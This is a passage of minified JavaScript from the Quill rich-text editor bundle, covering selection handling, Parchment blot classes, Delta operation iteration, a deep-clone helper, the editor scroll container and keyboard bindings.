a=(this.getNativeRange()||{}).native;if(null==a||o||e!==a.startContainer||t!==a.startOffset||n!==a.endContainer||r!==a.endOffset){"BR"==e.tagName&&(t=[].indexOf.call(e.parentNode.childNodes,e),e=e.parentNode),"BR"==n.tagName&&(r=[].indexOf.call(n.parentNode.childNodes,n),n=n.parentNode);var l=document.createRange();l.setStart(e,t),l.setEnd(n,r),i.removeAllRanges(),i.addRange(l)}}else i.removeAllRanges(),this.root.blur(),document.body.focus()}}},{key:"setRange",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:s.default.sources.API;if("string"==typeof t&&(n=t,t=!1),d.info("setRange",e),null!=e){var r=this.rangeToNative(e);this.setNativeRange.apply(this,c(r).concat([t]))}else this.setNativeRange(null);this.update(n)}},{key:"update",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:s.default.sources.USER,t=this.lastRange,n=this.getRange(),o=r(n,2),i=o[0],u=o[1];if(this.lastRange=i,null!=this.lastRange&&(this.savedRange=this.lastRange),!(0,l.default)(t,this.lastRange)){var c;!this.composing&&null!=u&&u.native.collapsed&&u.start.node!==this.cursor.textNode&&this.cursor.restore();var f,d=[s.default.events.SELECTION_CHANGE,(0,a.default)(this.lastRange),(0,a.default)(t),e];(c=this.emitter).emit.apply(c,[s.default.events.EDITOR_CHANGE].concat(d)),e!==s.default.sources.SILENT&&(f=this.emitter).emit.apply(f,d)}}}]),e}();function m(e,t){try{t.parentNode}catch(e){return!1}return t instanceof Text&&(t=t.parentNode),e.contains(t)}t.Range=p,t.default=h},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=n(0);function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function l(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var s=function(e){function t(){return a(this,t),l(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"insertInto",value:function(e,n){0===e.children.length?function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertInto",this).call(this,e,n):this.remove()}},{key:"length",value:function(){return 0}},{key:"value",value:function(){return""}}],[{key:"value",value:function(){}}]),t}(((r=i)&&r.__esModule?r:{default:r}).default.Embed);s.blotName="break",s.tagName="BR",t.default=s},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(44),a=n(30),l=n(1),s=function(e){function t(t){var n=e.call(this,t)||this;return n.build(),n}return o(t,e),t.prototype.appendChild=function(e){this.insertBefore(e)},t.prototype.attach=function(){e.prototype.attach.call(this),this.children.forEach((function(e){e.attach()}))},t.prototype.build=function(){var e=this;this.children=new i.default,[].slice.call(this.domNode.childNodes).reverse().forEach((function(t){try{var n=u(t);e.insertBefore(n,e.children.head||void 0)}catch(e){if(e instanceof l.ParchmentError)return;throw e}}))},t.prototype.deleteAt=function(e,t){if(0===e&&t===this.length())return this.remove();this.children.forEachAt(e,t,(function(e,t,n){e.deleteAt(t,n)}))},t.prototype.descendant=function(e,n){var r=this.children.find(n),o=r[0],i=r[1];return null==e.blotName&&e(o)||null!=e.blotName&&o instanceof e?[o,i]:o instanceof t?o.descendant(e,i):[null,-1]},t.prototype.descendants=function(e,n,r){void 0===n&&(n=0),void 0===r&&(r=Number.MAX_VALUE);var o=[],i=r;return this.children.forEachAt(n,r,(function(n,r,a){(null==e.blotName&&e(n)||null!=e.blotName&&n instanceof e)&&o.push(n),n instanceof t&&(o=o.concat(n.descendants(e,r,i))),i-=a})),o},t.prototype.detach=function(){this.children.forEach((function(e){e.detach()})),e.prototype.detach.call(this)},t.prototype.formatAt=function(e,t,n,r){this.children.forEachAt(e,t,(function(e,t,o){e.formatAt(t,o,n,r)}))},t.prototype.insertAt=function(e,t,n){var r=this.children.find(e),o=r[0],i=r[1];if(o)o.insertAt(i,t,n);else{var a=null==n?l.create("text",t):l.create(t,n);this.appendChild(a)}},t.prototype.insertBefore=function(e,t){if(null!=this.statics.allowedChildren&&!this.statics.allowedChildren.some((function(t){return e instanceof t})))throw new l.ParchmentError("Cannot insert "+e.statics.blotName+" into "+this.statics.blotName);e.insertInto(this,t)},t.prototype.length=function(){return this.children.reduce((function(e,t){return e+t.length()}),0)},t.prototype.moveChildren=function(e,t){this.children.forEach((function(n){e.insertBefore(n,t)}))},t.prototype.optimize=function(t){if(e.prototype.optimize.call(this,t),0===this.children.length)if(null!=this.statics.defaultChild){var n=l.create(this.statics.defaultChild);this.appendChild(n),n.optimize(t)}else this.remove()},t.prototype.path=function(e,n){void 0===n&&(n=!1);var r=this.children.find(e,n),o=r[0],i=r[1],a=[[this,e]];return o instanceof t?a.concat(o.path(i,n)):(null!=o&&a.push([o,i]),a)},t.prototype.removeChild=function(e){this.children.remove(e)},t.prototype.replace=function(n){n instanceof t&&n.moveChildren(this),e.prototype.replace.call(this,n)},t.prototype.split=function(e,t){if(void 0===t&&(t=!1),!t){if(0===e)return this;if(e===this.length())return this.next}var n=this.clone();return this.parent.insertBefore(n,this.next),this.children.forEachAt(e,this.length(),(function(e,r,o){e=e.split(r,t),n.appendChild(e)})),n},t.prototype.unwrap=function(){this.moveChildren(this.parent,this.next),this.remove()},t.prototype.update=function(e,t){var n=this,r=[],o=[];e.forEach((function(e){e.target===n.domNode&&"childList"===e.type&&(r.push.apply(r,e.addedNodes),o.push.apply(o,e.removedNodes))})),o.forEach((function(e){if(!(null!=e.parentNode&&"IFRAME"!==e.tagName&&document.body.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_CONTAINED_BY)){var t=l.find(e);null!=t&&(null!=t.domNode.parentNode&&t.domNode.parentNode!==n.domNode||t.detach())}})),r.filter((function(e){return e.parentNode==n.domNode})).sort((function(e,t){return e===t?0:e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING?1:-1})).forEach((function(e){var t=null;null!=e.nextSibling&&(t=l.find(e.nextSibling));var r=u(e);r.next==t&&null!=r.next||(null!=r.parent&&r.parent.removeChild(n),n.insertBefore(r,t||void 0))}))},t}(a.default);function u(e){var t=l.find(e);if(null==t)try{t=l.create(e)}catch(n){t=l.create(l.Scope.INLINE),[].slice.call(e.childNodes).forEach((function(e){t.domNode.appendChild(e)})),e.parentNode&&e.parentNode.replaceChild(t.domNode,e),t.attach()}return t}t.default=s},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(12),a=n(31),l=n(17),s=n(1),u=function(e){function t(t){var n=e.call(this,t)||this;return n.attributes=new a.default(n.domNode),n}return o(t,e),t.formats=function(e){return"string"==typeof this.tagName||(Array.isArray(this.tagName)?e.tagName.toLowerCase():void 0)},t.prototype.format=function(e,t){var n=s.query(e);n instanceof i.default?this.attributes.attribute(n,t):t&&(null==n||e===this.statics.blotName&&this.formats()[e]===t||this.replaceWith(e,t))},t.prototype.formats=function(){var e=this.attributes.values(),t=this.statics.formats(this.domNode);return null!=t&&(e[this.statics.blotName]=t),e},t.prototype.replaceWith=function(t,n){var r=e.prototype.replaceWith.call(this,t,n);return this.attributes.copy(r),r},t.prototype.update=function(t,n){var r=this;e.prototype.update.call(this,t,n),t.some((function(e){return e.target===r.domNode&&"attributes"===e.type}))&&this.attributes.build()},t.prototype.wrap=function(n,r){var o=e.prototype.wrap.call(this,n,r);return o instanceof t&&o.statics.scope===this.statics.scope&&this.attributes.move(o),o},t}(l.default);t.default=u},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=n(30),a=n(1),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o(t,e),t.value=function(e){return!0},t.prototype.index=function(e,t){return this.domNode===e||this.domNode.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_CONTAINED_BY?Math.min(t,1):-1},t.prototype.position=function(e,t){var n=[].indexOf.call(this.parent.domNode.childNodes,this.domNode);return e>0&&(n+=1),[this.parent.domNode,n]},t.prototype.value=function(){var e;return(e={})[this.statics.blotName]=this.statics.value(this.domNode)||!0,e},t.scope=a.Scope.INLINE_BLOT,t}(i.default);t.default=l},function(e,t,n){var r=n(11),o=n(3),i={attributes:{compose:function(e,t,n){"object"!=typeof e&&(e={}),"object"!=typeof t&&(t={});var r=o(!0,{},t);for(var i in n||(r=Object.keys(r).reduce((function(e,t){return null!=r[t]&&(e[t]=r[t]),e}),{})),e)void 0!==e[i]&&void 0===t[i]&&(r[i]=e[i]);return Object.keys(r).length>0?r:void 0},diff:function(e,t){"object"!=typeof e&&(e={}),"object"!=typeof t&&(t={});var n=Object.keys(e).concat(Object.keys(t)).reduce((function(n,o){return r(e[o],t[o])||(n[o]=void 0===t[o]?null:t[o]),n}),{});return Object.keys(n).length>0?n:void 0},transform:function(e,t,n){if("object"!=typeof e)return t;if("object"==typeof t){if(!n)return t;var r=Object.keys(t).reduce((function(n,r){return void 0===e[r]&&(n[r]=t[r]),n}),{});return Object.keys(r).length>0?r:void 0}}},iterator:function(e){return new a(e)},length:function(e){return"number"==typeof e.delete?e.delete:"number"==typeof e.retain?e.retain:"string"==typeof e.insert?e.insert.length:1}};function a(e){this.ops=e,this.index=0,this.offset=0}a.prototype.hasNext=function(){return this.peekLength()<1/0},a.prototype.next=function(e){e||(e=1/0);var t=this.ops[this.index];if(t){var n=this.offset,r=i.length(t);if(e>=r-n?(e=r-n,this.index+=1,this.offset=0):this.offset+=e,"number"==typeof t.delete)return{delete:e};var o={};return t.attributes&&(o.attributes=t.attributes),"number"==typeof t.retain?o.retain=e:"string"==typeof t.insert?o.insert=t.insert.substr(n,e):o.insert=t.insert,o}return{retain:1/0}},a.prototype.peek=function(){return this.ops[this.index]},a.prototype.peekLength=function(){return this.ops[this.index]?i.length(this.ops[this.index])-this.offset:1/0},a.prototype.peekType=function(){return this.ops[this.index]?"number"==typeof this.ops[this.index].delete?"delete":"number"==typeof this.ops[this.index].retain?"retain":"insert":"retain"},a.prototype.rest=function(){if(this.hasNext()){if(0===this.offset)return this.ops.slice(this.index);var e=this.offset,t=this.index,n=this.next(),r=this.ops.slice(this.index);return this.offset=e,this.index=t,[n].concat(r)}return[]},e.exports=i},function(e,n){var r=function(){"use strict";function e(e,t){return null!=t&&e instanceof t}var n,r,o;try{n=Map}catch(e){n=function(){}}try{r=Set}catch(e){r=function(){}}try{o=Promise}catch(e){o=function(){}}function i(a,s,u,c,f){"object"==typeof s&&(u=s.depth,c=s.prototype,f=s.includeNonEnumerable,s=s.circular);var d=[],p=[],h=void 0!==t;return void 0===s&&(s=!0),void 0===u&&(u=1/0),function a(u,m){if(null===u)return null;if(0===m)return u;var g,v;if("object"!=typeof u)return u;if(e(u,n))g=new n;else if(e(u,r))g=new r;else if(e(u,o))g=new o((function(e,t){u.then((function(t){e(a(t,m-1))}),(function(e){t(a(e,m-1))}))}));else if(i.__isArray(u))g=[];else if(i.__isRegExp(u))g=new RegExp(u.source,l(u)),u.lastIndex&&(g.lastIndex=u.lastIndex);else if(i.__isDate(u))g=new Date(u.getTime());else{if(h&&t.isBuffer(u))return g=t.allocUnsafe?t.allocUnsafe(u.length):new t(u.length),u.copy(g),g;e(u,Error)?g=Object.create(u):void 0===c?(v=Object.getPrototypeOf(u),g=Object.create(v)):(g=Object.create(c),v=c)}if(s){var y=d.indexOf(u);if(-1!=y)return p[y];d.push(u),p.push(g)}for(var b in e(u,n)&&u.forEach((function(e,t){var n=a(t,m-1),r=a(e,m-1);g.set(n,r)})),e(u,r)&&u.forEach((function(e){var t=a(e,m-1);g.add(t)})),u){var w;v&&(w=Object.getOwnPropertyDescriptor(v,b)),w&&null==w.set||(g[b]=a(u[b],m-1))}if(Object.getOwnPropertySymbols){var E=Object.getOwnPropertySymbols(u);for(b=0;b<E.length;b++){var S=E[b];(!(x=Object.getOwnPropertyDescriptor(u,S))||x.enumerable||f)&&(g[S]=a(u[S],m-1),x.enumerable||Object.defineProperty(g,S,{enumerable:!1}))}}if(f){var C=Object.getOwnPropertyNames(u);for(b=0;b<C.length;b++){var x,O=C[b];(x=Object.getOwnPropertyDescriptor(u,O))&&x.enumerable||(g[O]=a(u[O],m-1),Object.defineProperty(g,O,{enumerable:!1}))}}return g}(a,u)}function a(e){return Object.prototype.toString.call(e)}function l(e){var t="";return e.global&&(t+="g"),e.ignoreCase&&(t+="i"),e.multiline&&(t+="m"),t}return i.clonePrototype=function(e){if(null===e)return null;var t=function(){};return t.prototype=e,new t},i.__objToStr=a,i.__isDate=function(e){return"object"==typeof e&&"[object Date]"===a(e)},i.__isArray=function(e){return"object"==typeof e&&"[object Array]"===a(e)},i.__isRegExp=function(e){return"object"==typeof e&&"[object RegExp]"===a(e)},i.__getRegExpFlags=l,i}();"object"==typeof e&&e.exports&&(e.exports=r)},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=p(n(0)),l=p(n(8)),s=n(4),u=p(s),c=p(n(16)),f=p(n(13)),d=p(n(25));function p(e){return e&&e.__esModule?e:{default:e}}function h(e){return e instanceof u.default||e instanceof s.BlockEmbed}var m=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.emitter=n.emitter,Array.isArray(n.whitelist)&&(r.whitelist=n.whitelist.reduce((function(e,t){return e[t]=!0,e}),{})),r.domNode.addEventListener("DOMNodeInserted",(function(){})),r.optimize(),r.enable(),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"batchStart",value:function(){this.batch=!0}},{key:"batchEnd",value:function(){this.batch=!1,this.optimize()}},{key:"deleteAt",value:function(e,n){var o=this.line(e),a=r(o,2),l=a[0],u=a[1],d=this.line(e+n),p=r(d,1)[0];if(i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"deleteAt",this).call(this,e,n),null!=p&&l!==p&&u>0){if(l instanceof s.BlockEmbed||p instanceof s.BlockEmbed)return void this.optimize();if(l instanceof f.default){var h=l.newlineIndex(l.length(),!0);if(h>-1&&(l=l.split(h+1))===p)return void this.optimize()}else if(p instanceof f.default){var m=p.newlineIndex(0);m>-1&&p.split(m+1)}var g=p.children.head instanceof c.default?null:p.children.head;l.moveChildren(p,g),l.remove()}this.optimize()}},{key:"enable",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.domNode.setAttribute("contenteditable",e)}},{key:"formatAt",value:function(e,n,r,o){(null==this.whitelist||this.whitelist[r])&&(i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"formatAt",this).call(this,e,n,r,o),this.optimize())}},{key:"insertAt",value:function(e,n,r){if(null==r||null==this.whitelist||this.whitelist[n]){if(e>=this.length())if(null==r||null==a.default.query(n,a.default.Scope.BLOCK)){var o=a.default.create(this.statics.defaultChild);this.appendChild(o),null==r&&n.endsWith("\n")&&(n=n.slice(0,-1)),o.insertAt(0,n,r)}else{var l=a.default.create(n,r);this.appendChild(l)}else i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertAt",this).call(this,e,n,r);this.optimize()}}},{key:"insertBefore",value:function(e,n){if(e.statics.scope===a.default.Scope.INLINE_BLOT){var r=a.default.create(this.statics.defaultChild);r.appendChild(e),e=r}i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertBefore",this).call(this,e,n)}},{key:"leaf",value:function(e){return this.path(e).pop()||[null,-1]}},{key:"line",value:function(e){return e===this.length()?this.line(e-1):this.descendant(h,e)}},{key:"lines",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Number.MAX_VALUE,n=function e(t,n,r){var o=[],i=r;return t.children.forEachAt(n,r,(function(t,n,r){h(t)?o.push(t):t instanceof a.default.Container&&(o=o.concat(e(t,n,i))),i-=r})),o};return n(this,e,t)}},{key:"optimize",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};!0!==this.batch&&(i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"optimize",this).call(this,e,n),e.length>0&&this.emitter.emit(l.default.events.SCROLL_OPTIMIZE,e,n))}},{key:"path",value:function(e){return i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"path",this).call(this,e).slice(1)}},{key:"update",value:function(e){if(!0!==this.batch){var n=l.default.sources.USER;"string"==typeof e&&(n=e),Array.isArray(e)||(e=this.observer.takeRecords()),e.length>0&&this.emitter.emit(l.default.events.SCROLL_BEFORE_UPDATE,n,e),i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"update",this).call(this,e.concat([])),e.length>0&&this.emitter.emit(l.default.events.SCROLL_UPDATE,n,e)}}}]),t}(a.default.Scroll);m.blotName="scroll",m.className="ql-editor",m.tagName="DIV",m.defaultChild="block",m.allowedChildren=[u.default,s.BlockEmbed,d.default],t.default=m},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SHORTKEY=t.default=void 0;var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),a=m(n(21)),l=m(n(11)),s=m(n(3)),u=m(n(2)),c=m(n(20)),f=m(n(0)),d=m(n(5)),p=m(n(10)),h=m(n(9));function m(e){return e&&e.__esModule?e:{default:e}}function g(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var v=(0,p.default)("quill:keyboard"),y=/Mac/i.test(navigator.platform)?"metaKey":"ctrlKey",b=function(e){function t(e,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r.bindings={},Object.keys(r.options.bindings).forEach((function(t){("list autofill"!==t||null==e.scroll.whitelist||e.scroll.whitelist.list)&&r.options.bindings[t]&&r.addBinding(r.options.bindings[t])})),r.addBinding({key:t.keys.ENTER,shiftKey:null},x),r.addBinding({key:t.keys.ENTER,metaKey:null,ctrlKey:null,altKey:null},(function(){})),/Firefox/i.test(navigator.userAgent)?(r.addBinding({key:t.keys.BACKSPACE},{collapsed:!0},E),r.addBinding({key:t.keys.DELETE},{collapsed:!0},S)):(r.addBinding({key:t.keys.BACKSPACE},{collapsed:!0,prefix:/^.?$/},E),r.addBinding({key:t.keys.DELETE},{collapsed:!0,suffix:/^.?$/},S)),r.addBinding({key:t.keys.BACKSPACE},{collapsed:!1},C),r.addBinding({key:t.keys.DELETE},{collapsed:!1},C),r.addBinding({key:t.keys.BACKSPACE,altKey:null,ctrlKey:null,metaKey:null,shiftKey:null},{collapsed:!0,offset:0},E),r.listen(),r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),i(t,null,[{key:"match",value:function(e,t){return t=_(t),!["altKey","ctrlKey","metaKey","shiftKey"].some((function(n){return!!t[n]!==e[n]&&null!==t[n]}))&&t.key===(e.which||e.keyCode)}}]),i(t,[{key:"addBinding",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=_(e);if(null==r||null==r.key)return v.warn("Attempted to add invalid keyboard binding",r);"function"==typeof t&&(t={handler:t}),"function"==typeof n&&(n={handler:n}),r=(0,s.default)(r,t,n),this.bindings[r.key]=this.bindings[r.key]||[],this.bindings[r.key].push(r)}},{key:"listen",value:function(){var e=this;this.quill.root.addEventListener("keydown",(function(n){if(!n.defaultPrevented){var i=n.which||n.keyCode,a=(e.bindings[i]||[]).filter((function(e){return t.match(n,e)}));if(0!==a.length){var s=e.quill.getSelection();if(null!=s&&e.quill.hasFocus()){var u=e.quill.getLine(s.index),c=o(u,2),d=c[0],p=c[1],h=e.quill.getLeaf(s.index),m=o(h,2),g=m[0],v=m[1],y=0===s.length?[g,v]:e.quill.getLeaf(s.index+s.length),b=o(y,2),w=b[0],E=b[1],S=g instanceof f.default.Text?g.value().slice(0,v):"",C=w instanceof f.default.Text?w.value().slice(E):"",x={collapsed:0===s.length,empty:0===s.length&&d.length()<=1,format:e.quill.getFormat(s),offset:p,prefix:S,suffix:C};a.some((function(t){if(null!=t.collapsed&&t.collapsed!==x.collapsed)return!1;if(null!=t.empty&&t.empty!==x.empty)return!1;if(null!=t.offset&&t.offset!==x.offset)return!1;if(Array.isArray(t.format)){if(t.format.every((function(e){return null==x.format[e]})))return!1}else if("object"===r(t.format)&&!Object.keys(t.format).every((function(e){return!0===t.format[e]?null!=x.format[e]:!1===t.format[e]?null==x.format[e]:(0,l.default)(t.format[e],x.format[e])})))return!1;return!(null!=t.prefix&&!t.prefix.test(x.prefix)||null!=t.suffix&&!t.suffix.test(x.suffix)||!0===t.handler.call(e,s,x))}))&&n.preventDefault()}}}}))}}]),t}(h.default);function w(e,t){var n,r=e===b.keys.LEFT?"prefix":"suffix";return g(n={key:e,shiftKey:t,altKey:null},r,/^$/),g(n,"handler",(function(n){var r=n.index;e===b.keys.RIGHT&&(r+=n.length+1);var i=this.quill.getLeaf(r);return!(o(i,1)[0]instanceof f.default.Embed&&(e===b.keys.LEFT?t?this.quill.setSelection(n.index-1,n.length+1,d.default.sources.USER):this.quill.setSelection(n.index-1,d.default.sources.USER):t?this.quill.setSelection(n.index,n.length+1,d.default.sources.USER):this.quill.setSelection(n.index+n.length+1,d.default.sources.USER),1))})),n}function E(e,t){if(!(0===e.index||this.quill.getLength()<=1)){var n=this.quill.getLine(e.index),r=o(n,1)[0],i={};if(0===t.offset){var a=this.quill.getLine(e.index-1),l=o(a,1)[0];if(null!=l&&l.length()>1){var s=r.formats(),u=this.quill.getFormat(e.index-1,1);i=c.default.attributes.diff(s,u)||{}}}var f=/[\uD800-\uDBFF][\uDC00-\uDFFF]$/.test(t.prefix)?2:1;this.quill.deleteText(e.index-f,f,d.default.sources.USER),Object.keys(i).length>0&&this.quill.formatLine(e.index-f,f,i,d.default.sources.USER),this.quill.focus()}}function S(e,t){var n=/^[\uD800-\uDBFF][\uDC00-\uDFFF]/.test(t.suffix)?2:1;if(!(e.index>=this.quill.getLength()-n)){var r={},i=0,a=this.quill.getLine(e.index),l=o(a,1)[0];if(t.offset>=l.length()-1){var s=this.quill.getLine(e.index+1),u=o(s,1)[0];if(u){var f=l.formats(),p=this.quill.getFormat(e.index,1);r=c.default.attributes.diff(f,p)||{},i=u.length()}}this.quill.deleteText(e.index,n,d.default.sources.USER),Object.keys(r).length>0&&this.quill.formatLine(e.index+i-1,n,r,d.default.sources.USER)}}function C(e){var t=this.quill.getLines(e),n={};if(t.length>1){var r=t[0].formats(),o=t[t.length-1].formats();n=c.default.attributes.diff(o,r)||{}}this.quill.deleteText(e,d.default.sources.USER),Object.keys(n).length>0&&this.quill.formatLine(e.index,1,n,d.default.sources.USER),this.quill.setSelection(e.index,d.default.sources.SILENT),this.quill.focus()}function x(e,t){var n=this;e.length>0&&this.quill.scroll.deleteAt(e.index,e.length);var r=Object.keys(t.format).reduce((function(e,n){return f.default.query(n,f.default.Scope.BLOCK)&&!Array.isArray(t.format[n])&&(e[n]=t.format[n]),e}),{});this.quill.insertText(e.index,"\n",r,d.default.sources.USER),this.quill.setSelection(e.index+1,d.default.sources.SILENT),this.quill.focus(),Object.keys(t.format).forEach((function(e){null==r[e]&&(Array.isArray(t.format[e])||"link"!==e&&n.quill.format(e,t.format[e],d.default.sources.USER))}))}function O(e){return{key:b.keys.TAB,shiftKey:!e,format:{"code-block":!0},handler:function(t){var n=f.default.query("code-block"),r=t.index,i=t.length,a=this.quill.scroll.descendant(n,r),l=o(a,2),s=l[0],u=l[1];if(null!=s){var c=this.quill.getIndex(s),p=s.newlineIndex(u,!0)+1,h=s.newlineIndex(c+u+i),m=s.domNode.textContent.slice(p,h).split("\n");u=0,m.forEach((function(t,o){e?(s.insertAt(p+u,n.TAB),u+=n.TAB.length,0===o?r+=n.TAB.length:i+=n.TAB.length):t.startsWith(n.TAB)&&(s.deleteAt(p+u,n.TAB.length),u-=n.TAB.length,0===o?r-=n.TAB.length:i-=n.TAB.length),u+=t.length+1})),this.quill.update(d.default.sources.USER),this.quill.setSelection(r,i,d.default.sources.SILENT)}}}}function A(e){return{key:e[0].toUpperCase(),shortKey:!0,handler:function(t,n){this.quill.format(e,!n.format[e],d.default.sources.USER)}}}function _(e){if("string"==typeof e||"number"==typeof e)return _({key:e});if("object"===(void 0===e?"undefined":r(e))&&(e=(0,a.default)(e,!1)),"string"==typeof e.key)if(null!=b.keys[e.key.toUpperCase()])e.key=b.keys[e.key.toUpperCase()];else{if(1!==e.key.length)return null;e.key=e.key.toUpperCase().charCodeAt(0)}return e.shortKey&&(e[y]=e.shortKey,delete e.shortKey),e}b.keys={BACKSPACE:8,TAB:9,ENTER:13,ESCAPE:27,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46},b.DEFAULTS={bindings:{bold:A("bold"),italic:A("italic"),underline:A("underline"),indent:{key:b.keys.TAB,format:["blockquote","indent","list"],handler:function(e,t){if(t.collapsed&&0!==t.offset)return!0;this.quill.format("indent","+1",d.default.sources.USER)}},outdent:{key:b.keys.TAB,shiftKey:!0,format:["blockquote","indent","list"],handler:function(e,t){if(t.collapsed&&0!==t.offset)return!0;this.quill.format("indent","-1",d.default.sources.USER)}},"outdent 